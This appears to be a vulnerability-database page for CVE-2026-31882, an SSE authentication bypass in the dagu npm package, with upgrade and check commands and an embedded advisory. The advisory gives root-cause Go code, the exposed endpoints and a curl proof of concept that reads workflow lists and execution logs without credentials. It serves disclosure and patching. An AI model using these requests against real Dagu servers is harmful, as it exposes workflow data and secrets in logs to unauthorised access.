Vulnerabilities in pkg:npm/dagu
PACKAGECVE-2026-31882 is a HIGH (CVSS 7.5) authentication bypass vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Dagu libraries in the npm ecosystem. The issue involves sse authentication bypass in basic auth mode. Remediation is available by upgrading affected packages to version 2.2.4.
pkg:npm/dagu
Vulnerability advisories affecting package pkg:npm/dagu. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9wmw-9wph-2vwp | CVE-2026-31882 | HIGH | Dagu: SSE Authentication Bypass in Basic Auth Mode |
CVE-2026-31882 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-31882
To remediate this vulnerability, upgrade all affected Dagu dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dagu@2.2.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dagu
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-31882, inspect your project dependencies using npm:
npm ls dagu
Analyze the terminal output to locate any version of Dagu in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.4), your application is affected.
Note: The npm ls dagu command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Dagu, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-31882 Affected Dagu Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dagu
|
npm |
< 2.2.4
|
2.2.4
|
References
Frequently Asked Questions
What is CVE-2026-31882?
Which Dagu versions are affected?
What version fixes CVE-2026-31882?
Is dagu affected?
What is the CVSS score of CVE-2026-31882?
What CWE is associated with CVE-2026-31882?
How can I check npm dependencies for CVE-2026-31882?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9wmw-9wph-2vwp",
"modified" : "2026-03-16T17:06:32Z",
"published" : "2026-03-13T15:05:32Z",
"aliases" : [ "CVE-2026-31882" ],
"summary" : "Dagu: SSE Authentication Bypass in Basic Auth Mode",
"details" : "# SSE Authentication Bypass in Basic Auth Mode\n\n## Summary\n\nWhen Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.\n\n## Severity\n\n**HIGH** (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\n## Affected Versions\n\n- dagu v2.2.3 (latest) and likely all versions with basic auth support\n\n## Affected Component\n\n`internal/service/frontend/server.go` — `buildStreamAuthOptions()` function (lines 1177–1201)\n\n## Root Cause\n\nThe `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value):\n\n```go\n// server.go:1195-1201\nif authCfg.Mode == config.AuthModeBasic {\n return auth.Options{\n Realm: realm,\n BasicAuthEnabled: true,\n Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n // AuthRequired is NOT set — defaults to false\n }\n}\n```\n\nThe authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false:\n\n```go\n// No credentials provided\n// If auth is not required, allow the request through\nif !opts.AuthRequired {\n next.ServeHTTP(w, r)\n return\n}\n```\n\nThe developers left a FIXME comment (line 1193) acknowledging this issue:\n```\n// FIXME: add a session-token mechanism for basic-auth users so browser\n// EventSource requests can authenticate via the ?token= query parameter.\n```\n\n## Exposed SSE Endpoints\n\nAll SSE routes are affected (`server.go:1004-1019`):\n\n| Endpoint | Data Leaked |\n|----------|-------------|\n| `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status |\n| `/api/v1/events/dags/{fileName}` | Individual DAG configuration details |\n| `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history |\n| `/api/v1/events/dag-runs` | All active DAG runs across the system |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs |\n| `/api/v1/events/queues` | Queue status and pending work items |\n| `/api/v1/events/queues/{name}/items` | Queue item details |\n| `/api/v1/events/docs-tree` | Documentation tree |\n| `/api/v1/events/docs/*` | Documentation content |\n\nAdditionally, the Agent SSE stream uses the same auth options (`server.go:1166`).\n\n## Proof of Concept\n\n### Setup\n```bash\n# Start Dagu with basic auth\nexport DAGU_AUTH_MODE=basic\nexport DAGU_AUTH_BASIC_USERNAME=admin\nexport DAGU_AUTH_BASIC_PASSWORD=secret123\ndagu start-all\n```\n\n### Verify REST API requires auth\n```bash\n# Regular API — returns 401 Unauthorized\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost:8080/api/v1/dags\n# Output: 401\n\n# With credentials — returns 200\ncurl -s -o /dev/null -w \"%{http_code}\" -u admin:secret123 http://localhost:8080/api/v1/dags\n# Output: 200\n```\n\n### Exploit SSE bypass\n```bash\n# SSE endpoint WITHOUT any credentials — returns 200 with full data\ncurl -s -N http://localhost:8080/api/v1/events/dags\n```\n\n**Output (truncated):**\n```\nevent: connected\ndata: {\"topic\":\"dagslist:\"}\n\nevent: data\ndata: {\"dags\":[{\"dag\":{\"name\":\"example-01-basic-sequential\",\"schedule\":[],...},\n\"filePath\":\"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml\",\n\"latestDAGRun\":{\"dagRunId\":\"...\",\"status\":4,\"statusLabel\":\"succeeded\",...}},\n...]}\n```\n\n```bash\n# Access execution logs without credentials\ncurl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs\n```\n\n**Output:**\n```\nevent: data\ndata: {\"schedulerLog\":{\"content\":\"...step execution details, parameters, outputs...\"},\"stepLogs\":[...]}\n```\n\n### Wrong credentials are rejected\n```bash\n# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)\ncurl -s -o /dev/null -w \"%{http_code}\" -u wrong:wrong http://localhost:8080/api/v1/events/dags\n# Output: 401\n```\n\n## Impact\n\nAn unauthenticated network attacker can:\n\n1. **Enumerate all workflows**: DAG names, descriptions, file paths, schedules, and tags\n2. **Monitor execution in real-time**: Track which workflows are running, their status, and when they complete\n3. **Read execution logs**: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)\n4. **Map infrastructure**: File paths and workflow configurations reveal server directory structure and deployment details\n5. **Observe queue state**: Understand pending work items and system load\n\nThis is especially critical in environments where:\n- Workflows process sensitive data (credentials, PII, financial data)\n- DAG parameters contain secrets passed at runtime\n- Log output includes API responses or database queries with sensitive content\n\n## Suggested Fix\n\nSet `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:\n\n```go\nif authCfg.Mode == config.AuthModeBasic {\n return auth.Options{\n Realm: realm,\n BasicAuthEnabled: true,\n AuthRequired: true, // Require authentication\n Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n }\n}\n```\n\nFor browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dagu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.2.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31882"
}, {
"type" : "WEB",
"url" : "https://github.com/dagu-org/dagu/pull/1752"
}, {
"type" : "WEB",
"url" : "https://github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dagu-org/dagu"
}, {
"type" : "WEB",
"url" : "https://github.com/dagu-org/dagu/releases/tag/v2.2.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-13T15:05:32Z",
"nvd_published_at" : "2026-03-13T19:54:37Z"
}
}